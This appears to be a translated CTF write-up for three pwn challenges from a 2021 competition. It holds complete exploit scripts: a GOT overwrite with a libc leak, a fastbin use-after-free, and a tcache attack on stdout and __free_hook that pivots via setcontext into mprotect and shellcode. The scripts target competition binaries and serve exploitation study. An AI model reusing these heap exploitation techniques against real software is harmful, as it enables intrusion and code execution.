Longyuan Battle Epidemic 2021 Network Security Competition-pwn-wp

Catalog

Longyuan Battle Epidemic 2021 Network Security Competition-pwn-wp

Today, there happened to be a conflict with the game. It was more than eight o'clock when I returned home. It took about an hour to do three pwn questions, all of which are regular ones. Question 4 has been busy for half a day and has not made any progress. Consider writing the wp of the first three questions first. Here is a summary of the solution ideas for each question:

  • bbbaby: title as its name
    • Modify_u first stack_chk_fail@got by puts@plt As long as you can continue executing the main function
    • Leak libc address by overflow of main function stack frame
    • modify atoi@got For system, execute get_int, enter/bin/sh to get the shell
  • Magic: You don't even need to give libc this question. The title has added a lot of useless branch codes and needs some time to analyze. In fact, the title is very simple.
    • There is an idle 0x230, which should be the IO_assigned by fopen FILE structure. Just five 0x70 can be assigned. Also fake the header of a fastbin chunk of 0x70.
    • Write and modify fd to a fake chunk using the edit section
    • Assign to fake chunk
    • Leaking flag with edit
  • off by one and setcontext+61 under h3apclass:libc-2.31
    • Make a heap of wind water, get an unsorted bin chunk, and make an overlapped chunk
    • Blast 4 bit, probability 1/16. Assign to _using tcache bin s IO_2_1_stdout_ Above the structure, leak the libc address
    • Leak the heap address the same way. You can also use u directly Free_ Area around hook, so you don't need to leak heap addresses
    • Modify_u with tcache bin attack free_hook is mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]
    • Finally, mprotect is executed with setcontext+61, and then the shellcode that executes cat('/flag') is skipped to read to flag

bbbaby

checksec

Vulnerability Points

Write at any address:

Stack overflow for main function:

Since there is a canary, you need to change u stack_chk_fail@got Contents

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
if gift['remote']:
    libc = ELF("./libc-2.23.so")

def write_any(addr, content):
    p.sendlineafter("your choice\n", "0")
    p.sendlineafter("address:\n", str(addr))
    p.sendafter("content:\n", content)


def stack_overflow(data):
    p.sendlineafter("your choice\n", "1")
    p.sendlineafter("size:\n", str(0x1000))
    p.sendafter("content:\n", data)

# change stack_chk

write_any(0x601020, p64(elf.plt.puts))

payload = flat({
    0x118:[
        0x0000000000400a03,
        elf.got.puts, 
        elf.plt.puts, 
        0x40086c,
        0x4007c7
    ]
})

stack_overflow(payload)

p.sendlineafter("your choice\n", "2")

libc_base = recv_libc_addr(p, offset=libc.sym.puts)
log_libc_base_addr(libc_base)
libc.address = libc_base

p.sendlineafter("address:\n", str(elf.got.atoi))
p.sendafter("content:\n", p64(libc.sym.system))

p.sendline("/bin/sh\x00")

get_flag_when_get_shell(p)

p.interactive()

Remote call:

Magic

checksec

The libc version given is 2.23

Vulnerability Points

UAF in two places:

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def add(idx):
    p.sendlineafter("Input your choice: \n", "1\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.recvuntil("Search finished\n")


def edit(idx, data):
    p.sendlineafter("Input your choice: \n", "2\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.sendafter("Input the Magic\n", data)
    p.recvuntil("Magic> ")
    m = p.recvuntil(" <Magic")
    info(f"Get msg: {m}")
    return m


def dele(idx):
    p.sendlineafter("Input your choice: \n", "3\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.recvuntil("remove the Magic\n")


# alloc
add(0)
add(0)
add(0)
add(0)
add(1)

# prepare for a fake 0x70 chunk
edit(1, flat([0, 0, 0, 0x71]))
dele(1)
dele(0)

# partial overwrite 
edit(0, "\xe0")
add(0)
add(0)

# leak flag
edit(0, "a"*0x50)

p.interactive()

Remote call:

h3apclass

checksec

Protect it all on, then google gives it a go, libc version 2.31-0ubuntu9.2_amd64.

Vulnerability Points

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

context.update(timeout=3)

def add(idx, size, data="deadbeef"):
    p.sendlineafter("4:Drop homework\n", "1")
    p.sendlineafter("Which homework?\n", str(idx))
    p.sendlineafter("size:\n", str(size))
    p.sendafter("content:\n", data)

def edit(idx, data):
    p.sendlineafter("4:Drop homework\n", "3")
    p.sendlineafter("Which homework?\n", str(idx))
    p.sendafter("content:\n", data)


def dele(idx):
    p.sendlineafter("4:Drop homework\n", "4")
    p.sendlineafter("Which homework?\n", str(idx))

cat_flag = asm(shellcraft.amd64.linux.cat("/flag"))

# forge 0x500 chunk
add(0, 0x18, 0x18*"a")
add(1, 0xf8)
add(2, 0xf8)
add(3, 0xf8)
add(4, 0xf8)
add(5, 0xf8)
add(6, 0x18)

# free space
dele(6)
dele(5)
dele(4)
dele(3)
dele(2)

# chaneg size
edit(0, 0x18*"a" + "\x01\x05")
dele(1)

# consume 0x100
add(1, 0x70)
add(2, 0x70)

log_ex(f"Now try to attack stdout...")

if gift['debug']:
    payload = p16_ex(get_current_libcbase_addr() + libc.sym['_IO_2_1_stdout_'])
else:
    payload = p16_ex(0x86a0)

add(3, 0x70, payload)

# free space
dele(1)
dele(2)

add(1, 0xf8)

# leak libc addr
add(2, 0xf8, flat([
    0xfffffbad1887, 0, 0, 0, "\x00"
]))

libc_base = recv_libc_addr(p) - 0x1eb980
log_libc_base_addr(libc_base)
libc.address = libc_base

dele(1)
dele(0)

# leak heap addr
edit(3, p64(libc.sym['_IO_2_1_stdout_'])[:6])
add(0, 0x70)
add(1, 0x70, flat([
    0xfbad1887, 0, 0, 0, libc.sym['__curbrk']-8,libc.sym['__curbrk']+8
]))

m = p.recvn(16)
heap_base = u64_ex(m[8:]) - 0x21000
log_heap_base_addr(heap_base)

dele(0)
# change __free_hook
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
edit(3, p64(libc.sym['__free_hook'])[:6])
add(0, 0x70, cat_flag)
add(4, 0x70, p64_ex(0x0000000000154930 + libc_base))

# read flag
cur_heap = heap_base + 0x1450

payload = flat({
    8: cur_heap,
    0x20: libc.sym['setcontext']+61,
    0x30: heap_base + 0x13d0,
    0xa0: cur_heap+0x30, # rsp
    0xa8: libc.sym['mprotect'],
    0x68: heap_base,
    0x70: 0x4000,
    0x88: 7
})

add(5, 0xe8, payload)

dele(5)

m = p.recvline_contains("flag")

if b"flag" in m:
    log_ex_highlight(f"Get flag: {m}")
    sleep(20)

p.close()

Then add a shell script and run a little while to get the flag.

#!/bin/bash
for i in {1..10}
do
    python3 exp.py re ./H3apClass -p 25373 -nl
done

Remote call:

References and References

1,My Blog

2,Ctf Wiki

3,pwncli

Posted by hey_suburbia on Sun, 07 Nov 2021 08:07:23 -0800